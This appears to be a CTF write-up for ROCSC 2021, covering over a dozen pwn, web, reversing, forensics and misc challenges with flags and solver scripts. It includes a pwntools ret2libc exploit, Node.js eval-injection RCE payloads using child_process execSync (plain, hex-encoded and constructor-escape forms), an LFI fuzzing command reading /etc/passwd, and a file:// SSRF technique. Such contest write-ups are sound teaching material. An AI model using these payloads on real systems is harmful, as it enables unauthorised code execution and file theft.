ROCSC 2021

Writeup

can-you-jump(210): Pwn

Proof of Flag

CTF{70dd83585c9e2656c8a391b7dbc1f28e8d40a98067fdb56adfb69b8e509481df}

Summary

We get a 64-bit executable, not stripped which we need to pwn.
After some analysis we see that just NX is enabled so we can’t use shellcode for this exploit.

After running the program we can see that it’s leaking a printf() address, so it’s pretty abvious that we need to do some kind of ret2libc.

The method I chose is ret2gadget because this method seemed pretty easy.
Because they gave us the libc I guess on the server ASLR is 1 so we need to calculate the addresses with this ideea in mind.

Another way of solving this and the intended one is JOP -> Jump Oriented Programming or another way that I found is re2libc with write(1, read@got, $value_of_rdi) and after that it’s a ret2libc with the leak of read and after that you do the normal exploit.

Proof of Solving

Proof of Code

from pwn import *
#context.log_level='DEBUG'

p = process("./can-you-jump")
libc = ELF("./libc-2.27.so", checksec=False)

def start():
        if not args.REMOTE:
                return process("./can-you-jump")
        else:
                return remote("34.141.31.183", 30217)

p = start()

def main():

        global rop

        print(p.recvuntil("Printf() address : "))
        leak = int(p.recvline(), 16)
        print(hex(leak))

        libc.address = leak - libc.symbols['printf']
        print(hex(libc.address))

        payload = ""
        payload += "A"*72
        payload += p64(libc.address + 0x00000000000008aa)
        payload += p64(libc.address + 0x4f432)

        p.sendline(payload)

        p.interactive()

if __name__=="__main__":
        main()

what-to-do(1000): Misc

Proof of Flag

Summary

We get a couple of questions and we need to solve them in order to pass the challenge and get the full points.

Proof of Solving

  1. Which cyber attack tricks users to think that their working stations are infected with malware in order to download malicious software?

    • scareware
  2. In some cases the cyber criminals are gathering information about targets before executing malicious actions. What do we call this type of attack strategy?

    • spearphishing
  3. Which tool is one of the most popular when collecting OSINT intelligence?

    • maltego
  4. From which library can we import functions like printf, scanf, fgets, gets, open, fopen, malloc, free when we want to write a C program?

    • libc
  5. What else a cheater can use to alter games values on a Windows platform?

    • cheatengine
  6. Which is one of the most popular tools used in reverse engineering Android applications?

    • apktool
  7. What type of malware is a program that can continuously replicate itself which causes the infestation of multiple hosts in a very short period of time?

    • worm
  8. What do we call the process which randomizes a set of data in such a way that no algorithm pattern can be deducted?

    • entropy
  9. Which security standard assures that organizations are handling credit card data in a secure manner in order to prevent money fraud and identity theft?

    • pcidss
  10. This type of cyber fraud usually involves use of telephony to execute further phishing attacks?

    • vishing
  11. Which tool is very useful in CTF contests when we need to analyze binaries to discover executable code & embedded files?

    • binwalk
  12. This utility is used to dump TCP traffic on Linux, Windows, Solaris, etc hosts?

    • tcpdump
  13. What is one of the oldest and simplest ciphers that humanity used in the past?

    • caesar
  14. Which function do we use when we want to map arbitrary size data to fixed sized data?

    • hashing
  15. In which country Enigma cipher was developed?

    • Germany
  16. Which framework was developed by security specialists used in penetration tests to assess web applications vulnerabilities?

    • w3af
  17. Which web vulnerability occurs when an application reveals pieces of data to the end-user that shouldn’t be public?

    • informationleakage
  18. What do we call the set of rules which monitors and filters the traffic from the Internet and a web application to protect it from different types of cyber attacks like XSS, SQL injection, etc?

    • waf
  19. What is the name of the security incident that occurs when an attacker obtains access to user data?

    • databreach
  20. Which is one of the most popular Python libraries that are used most în CTF contests to develop exploits for the found vulnerabilities?

    • pwntools

n4twork urg3nt investigation(200): Forensics

Proof of Flag

Summary

We get a couple of questions and we need to solve them in order to pass the challenge and get the full points.
The only strange this is that the questions are in Pikalang so we need to decode them in order to get the original text message.
We can do that by using https://www.dcode.fr/pikalang-language

Proof of Solving

  1. What is the esoteric programming language used by the attacker?

    • pikalang
  2. What is the name of the tool used by the security analyst?

    • networkminer
  3. What is the IP of the Linux compromised machine?

    • 10.20.230.192
  4. We know that the attacker also ordered a pizza from the compromised host. Can you please tell us the place, we want to contact them, maybe they can give us the necessary files?

    • www.pizzahut.ro

old-tickets(250): Web

Proof of Flag

Summary

We got a simple webserver named as ticket system

Proof of Solving

After poking with the application and finding nothing I decided to change the request method to POST.

We forword the request and we got this

After looking at the errors we find that we can bruteforce the code by timestamp and POST it with code request method.

Proof of Code

#!/usr/bin/python
import requests
import hashlib
import time
from bs4 import BeautifulSoup

url = "http://35.246.178.49:30980"

def main():
        timestamp = 1628168161 + 162
        while True:
                code = hashlib.md5(str(timestamp).encode()).hexdigest()
                r = requests.post(url, data={"code": code})
                content = r.text

                if("ctf" in content):
                        soup = BeautifulSoup(r.text, "html.parser")
                        print(soup.find_all("p")[-1].text.strip().split()[-1])
                        break

                timestamp += 1

if __name__=="__main__":
        main()

inodat(300): Web

Proof of Flag

CTF{11a0aafa059bda95fdb80332309eb6368ddf4e572dadbe0c40dfe0be69bf515d}

Summary

We get a basic API webserver.

Proof of Solving

We start with our basic enumeration and we find that it haves /api/v1
So we scan again the /api/v1 and we find the math.
Now we need to FUZZ math in order to find the parameter
Until now everything looks almost the same like the challenge CALCULUS
So I tried using the payload I had for CALCULUS, but on this one we don’t need the this.constructor.constructor part.

MAIN PAYLOAD:

require("child_process").execSync("ls").toString()

ENCODED PAYLOAD:

eval(Buffer.from('7265717569726528226368696c645f70726f6365737322292e6578656353796e632822636174207365637265745f666c61675f666f6c6465725f6164736173646f68692f666c61672e74787422292e746f537472696e672829',+'hex').toString('ascii'))

But you can see that by using the MAIN payload it’s giving us a TRY HARDER !

So the only thing that we can do is to encode the payload.
I tried multiple encoding techniques but none work except hex.

So in order to run the hex payload we need a method to run it in javascript.
In the first result on google we can see how to do that with eval()

So after running the ls command we can see that flag is under **secret_flag_folder_adsasdohi ** folder.

clueless_investigation(290): Rev

Proof of Flag

CTF{8ab6d5fe901104ead00fde56cb4766e4821bc7a7e3975f023f3130b690f8f7bb}

Summary

We get an x-sharelib, and a message encoded in morse code
After decoding the message we get: YJLEFYWFKQVUCOEWEPKBLHBKHRBKLOUXVNFP

Proof of Solving

The binary is performing couple of checks on the given message, performing a custom encoding with strong dependency of the algorithm of Railfence cipher, but then the algorithm here differes a bit, first it changes the underscore to the chr(120), then change the string read from the message.txt file, making the string uppercase and then mapping the value by adding the value of ord(“A”) to character one by one, keeping the characters limited to 26 alphabetic character, then on the global array, it assigns the needed value which acts as indexing for encoding the message, provided changing the message taking the mapped array for substitution.
I got the global_array by using a custom docker where I runned gdb-gef and compared the inital string with what the output was mapping each char.

Proof of Code

#!/usr/bin/python

def decryptRailFence(cipher, key):

    rail = [['\n' for i in range(len(cipher))]
                  for j in range(key)]

    dir_down = None
    row, col = 0, 0

    for i in range(len(cipher)):
        if row == 0:
            dir_down = True
        if row == key - 1:
            dir_down = False

        rail[row][col] = '*'
        col += 1

        if dir_down:
            row += 1
        else:
            row -= 1

    index = 0
    for i in range(key):
        for j in range(len(cipher)):
            if ((rail[i][j] == '*') and
               (index < len(cipher))):
                rail[i][j] = cipher[index]
                index += 1

    result = []
    row, col = 0, 0
    for i in range(len(cipher)):

        if row == 0:
            dir_down = True
        if row == key-1:
            dir_down = False

        if (rail[row][col] != '*'):
            result.append(rail[row][col])
            col += 1

        if dir_down:
            row += 1
        else:
            row -= 1
    return("".join(result))

if __name__=="__main__":
        global_array = [0,8,16,24,32,1,7,9,15,17,23,25,31,33,2,6,10,14,18,22,26,30,34,3,5,11,13,19,21,27,29,35,4,12,20,28]

        org = "YJLEFYWFKQVUCOEWEPKBLHBKHRBKLOUXVNFP"
        org = [x for x in org]
        ceva = decryptRailFence(org, 5)

        offset_upper = ord("Z") - ord("A")
        offset_lower = ord("z") - ord("a")
        ord_A = ord("A")

        result = [0]* len(global_array)
        final = "AIXVUAAIXVW"
        for i in range(len(global_array)):
                if i < 26:
                        offset_upper = org[global_array.index(i)]
                        offset_upper = ord(offset_upper) - ord("A")
                        offset_upper = (offset_upper + i) % 26
                        offset_upper = 25 - offset_upper
                        offset_upper = chr(offset_upper + ord("A"))
                        result[i] = offset_upper
                else:
                        offset_upper = org[global_array.index(i)]
                        offset_upper = ord(offset_upper) - ord("A")
                        f = ord(final[i % 26]) - ord("A")
                        offset_upper = 25 - offset_upper
                        offset_upper = (offset_upper + f) % 26
                        offset_upper = chr(offset_upper + ord("A"))
                        result[i] = offset_upper

        print("".join(result).replace("X", "_"))

calculus(300): Web

Proof of Flag

CTF{de71c185bcc37c8b169f7bb4c1c0bd3c7fe041110ae4d176434d396c2de52121}

Summary

We get a web calculator which should do some basic arithmetic calculations.
We can see that if we try to press a button or something it’s not working so I started to guess the parameter for the calculator to work.

Proof of Solving

After poking with it for a little bit we found the /sum? parameter. We enter it and we can see an error result: "Missing a,b!!"

We add the parameters and we can see that it’s doing some basic “sum” but as you can see it’s not really doing it, for example 1+1=2 it’s doing 1+1=11

So that means in the backend it’s using eval()
So in order to get the flag we need to bypass the eval().

I didn’t know how to bypass the eval() so I started to search for past writeups that look like this and I found this one from GoogleCTF: https://blog.orange.tw/2018/06/google-ctf-2018-quals-web-gcalc.html
I modified it a little bit and with a little bit of help from a past payload that I had I’ve made this one:

?a=this.constructor.constructor(%22return%20process%22)().mainModule.require(%27child_process%27).execSync%20(%27ls%27)&b=sda

But guess what ? The payload it’s not working so after some time poking with this and trying to bypass the filtering or the blacklist I found that if you enter a “ “ after execSync you can bypass this and earn RCE.

And the flag is under server.js.

file-crawler(50): Web

Proof of Flag

CTF{0caec419d3ad1e1f052f06bae84d9106b77d166aae899c6dbe1355d10a4ba854}

Summary

We get a simple web server Werkzeug/1.0.1 Python/2.7.17 with a image located in the center.
After poking around with gobuster, nikto, arjun etc. I found the /local? parameter and that hit my head. I remember looking in the source code and seeing a strange path to the image, so I started to play with it manually first and I got the content of /etc/passwd

Proof of Solving

I used this command in order to fuzz the possible LFI combinations:

wfuzz -c -w fuzz.txt --hw 28 http://35.246.178.49:30603/local?image_name=FUZZ

We found a lot of interesting stuff but after checking every single one of them we found nothing…
So I started to crawl a list of linux subsystem files and FUZZ after them…
After a little bit of time we got a hit on /tmp/flag
Inside was the hidden flag

Little-endian-photo(340): Forensics

Proof of Flag

ctf{112687d319c48cc38709a90b34d6df10904711b93a74b27f73d9382ff64053a0}

Summary

We get a broken PNG image with lots of data in it.
The only problem that we have is that we don’t know the IMAGExSIZE.

Proof of Solving

There was a little bit of guess but not that much.
We know that there are 1240800 pixels.
We know that normally the photo should be 1000x1000 ( normally because MODERN times)
So we need to find a number that multiplied with 1000 should be equal to the number of pixels.

Proof of Code

#!/usr/bin/python
from PIL import Image

def _saveImage(img, imgsize, destFile):
        mode = 'RGBA'
        arr = img.reshape(img.shape[0]*img.shape[1], img.shape[2])
        if len(arr[0]) == 3:
                arr = np.c_[arr, 255*np.ones((len(arr),1), np.uint8)]
        img =  Image.frombuffer(mode, imgsize, arr.tostring(), 'raw', mode, 0, 1)
        img.save(destFile)

def main():
        img = open("/mnt/c/Users/iulia/Desktop/CrossFolder/ceva.png", "rb")
        pixels = list(img)
        pixels = b"".join([x for x in pixels])
        #print(pixels)

        #img = Image.frombuffer("L", (2000, 2000), pixels)
        data = open("ceva.png", "rb").read()
        img = Image.frombuffer(data = data, mode = "RGB", size = (1175, 1056)).rotate(180)
        #image = Image.frombytes("RGB", (1175, 1056), bytes(bytearray(img2)))
        img.save("asddd.png")

        #with open("altceva.png", "wb") as f:
        #       for pixel in img2:
        #               f.write(pixel)

if __name__=="__main__":
        main()

reccon(160): Web

Proof of Flag

CTF{486cdfe3a59141aca752fb10b44c70facca9c5b1d7be444aa840d14148030e66}

Summary

We get a webserver again with just a simple image in the center.

Proof of Solving

So we start with our basic enumeration using gobuster. We didn’t find anything interesting so the next scan is FUZZING for arguments.
So launch ARJUN and we find that there are a couple of arguments.
We enter them manually and we can see that at /?m we get the flag

Proof of Code

import requests

r = requests.get("http://34.141.59.125:32391/?m")
print(r.content)

RGB_led_matrix(320): Misc

Proof of Flag

CTF{29ca0ea1e1a1117fc8007bfdbadd395a5945bc61feea659f1791b30b066f9363}

Summary

We have a log communication between a micro-controller and the display with a DS Logic Analyzer.

Proof of Solving

We need to open PulseView and add a decoder.
The decoder we need to add is rgb led ws281x
After that we export it and we try to make a photo.
So I found a script on google and modify it a little bit.

Proof of Code

#!/usr/bin/python
white = '\x1b[7m  \x1b[0m'
black = '\x1b[49m  \x1b[0m'


with open('adno', 'r') as f:
    data = f.readlines()

pixels = []

def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i + n]

for line in data:
    byte = int(line[-7:], 16)
    if byte != 0:
        byte = 1
    pixels.append(byte)

pixels = list(chunks(pixels, 248))
pixels.reverse()

matrix = 8 * [31 * [0]]

for i in range(len(pixels)):
    chunk = pixels[i]
    chunk = list(chunks(chunk, 8))
    chunk.reverse()
    for j in range(len(chunk[-7:])):
        line = chunk[j]
        if j % 2 == 1:
            line.reverse()

        for c in line:
            if c == 0:
                print(white, end='')
            else:
                print(black, end='')

        print()

OLED(380): Misc

Proof of Flag

Summary

We have a communication between OLED and the micro-controller.
We can see it using DSView.
After poking with the parameters for a couple of hours the best combination decoders and arguments are: 1,4,2 and active-high
It needs to be ACTIVE-HIGH because the ACTIVE-LOW will remove and strip some pixels from the image so you won’t be able to extract the data from the QR Code.
But you can know that those are good just after you export the data as .csv and try it.

Proof of Solving

But how ? How should I script that ? Well if you search for oled ctf writeups you can find a lot of links and from one of them I got the script.
You just need to change the N_COLUMNS and something else and you are ready for using it.
You can see that it’s giving you a QR Code
I scanned it with QRScanner from my IPhone.

Proof of Code

import pandas as pd
import matplotlib.pyplot as plt 
import numpy as np

N_PAGES = 8
N_ROWS = 64
N_COLUMNS = 131

def show_lcd(data):
  screen = []
  for i in range(N_ROWS):
    screen.append([0] * N_COLUMNS)

  for i in range(N_PAGES):
    for j in range(N_COLUMNS):
      # Convert each byte to a binary string
      bits = "{0:08b}".format(data[N_COLUMNS*i+j])[::-1]
      for l, b in enumerate(bits):
        # Draw pixels into the screen
        screen[N_PAGES*i+l][j] = int(b)

  X = np.array(screen)
  plt.imshow(X, cmap="gray") 
  plt.show() 


data = pd.read_csv('data.csv')['mosi']
data = data[4165:] # Remove the first 25 bytes
data = list(data.map(lambda h: int(h, 16))) # Convert hex string to list of bytes

sequence_size = N_PAGES * N_COLUMNS
for i in range(6):
  show_lcd(data[sequence_size*i:sequence_size*(i+1)])

speed(50): Rev

Proof of Flag

CTF{cd60564f35f0e0667ebca28c67faf5f0327ee74560e9c1058cfbe42c9be194e8}

Summary

We get an executable that it’s initializing a variable to rand()
Inside nothing_here() we have the seed so basically it’s pretty easy to solve this one.
Given the seed used to generate the random number is known to us, we can generate the exact same numbers by using the same seed in our rand() function call which will allow us to predict the values generated by binary

Proof of Solving

This is the code that we need to exploit

Proof of Code

import ctypes
LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
LIBC.srand(0x11C4)
v1 = LIBC.rand()
v2 = 0
v1 ^ v2 ^ 0x539
import hashlib
num = hashlib.sha256((str(v1 ^ v2 ^ 0x539)).encode("utf-8")).hexdigest()

where-do-you-go(300): Misc

Proof of Flag

ctf{83ac8f43b6dc92217de38ce84b5b3bb4e067642dfbf76a35dcf03cbb1508b956}

Summary

We get a server and a port were we need to connect to.
After connecting with nc we can see that the server is asking us for some CVE-IDs.

So the only think I though I could do is a crawler that get’s the questions and reply them with the hope that after a couple of questions I will get the flag.

Proof of Solving

Firstly I tried with just requesting some questions from CVE.MITRE but after some questions I would get an error because that question wasn’t present on the CVE.MITRE website.
So I addopted a new technique that uses 2 websites and searches for the CVE-ID but also that was failing after some questions.
So I searched a database with all 2019-2020-2021 CVEs and imported them locally. (https://nvd.nist.gov/vuln/data-feeds)

Proof of Code

#!/usr/bin/python
from pwn import *
import json

proxies = {
  'http': 'http://localhost:8080',
}

db = {}

def json_cve(file):
        f = open(file, "r")
        data = json.load(f)
        cves = data["CVE_Items"]
        for cve in cves:
                id = cve["cve"]["CVE_data_meta"]["ID"]
                desc = cve["cve"]["description"]["description_data"][0]["value"].encode("ascii", "ignore").decode()
                db[desc] = id

def search(desc):
        return db[desc]

def main():
        json_cve("nvdcve-1.1-2019.json")
        json_cve("nvdcve-1.1-2020.json")
        json_cve("nvdcve-1.1-2021.json")

        i = 1
        r = remote("34.107.45.139", 32403)
        while True:
                i += 1
                content = r.recvline()
                content = content.decode().strip("\r\n")

                if("bye" in content):
                        print(content)
                        break
                cve = search(content)
                if("CTF{" in content):
                        print(content)
                        break

                #content = r.recvuntil(b"What do you think:")
                print(content, i)
                r.sendlineafter("What do you think:", cve)
        r.close()

if __name__=="__main__":
        while True:
                main()

ultra-crawl(210): Web

Proof of Flag

ctf{d8b7e522b0ab04101e78ab1c6ff68c4cb2f30ce9d4427d4cd77bc19238367933}

Summary

We get a webserver with crawling functionality.

Proof of Solving

If you participate in CTF contests you know that this kind of web challenge it’s pretty popular and almost the same every time.
You can abuse the file://// “protocol” in order to exfiltrate data and get the flag.

You can read the source code and find that the flag is in sir-a-random-folder-for-the-flag/flag.txt
After reading the source code you can notice that in order to get the flag you need to have a HOST header with company.tld.

el-picasso(150): Rev

Proof of Flag

ctf{1ff757b6b99229db80a208563aa98dfb5e4a592b34551ba44b63038c7bd442af}

Summary

We get an executable that we need to reverse.
When we try to disassemble it with IDA we can see that we get an error.
After searching the error on google we can see that there could be a problem with the nodes
We go to Options->General->Graph and modify the nodes to a bigger number.
And we get a QR on Graph View.
We can it via QRScanner from IPhone and we get the flag.

Proof of Solving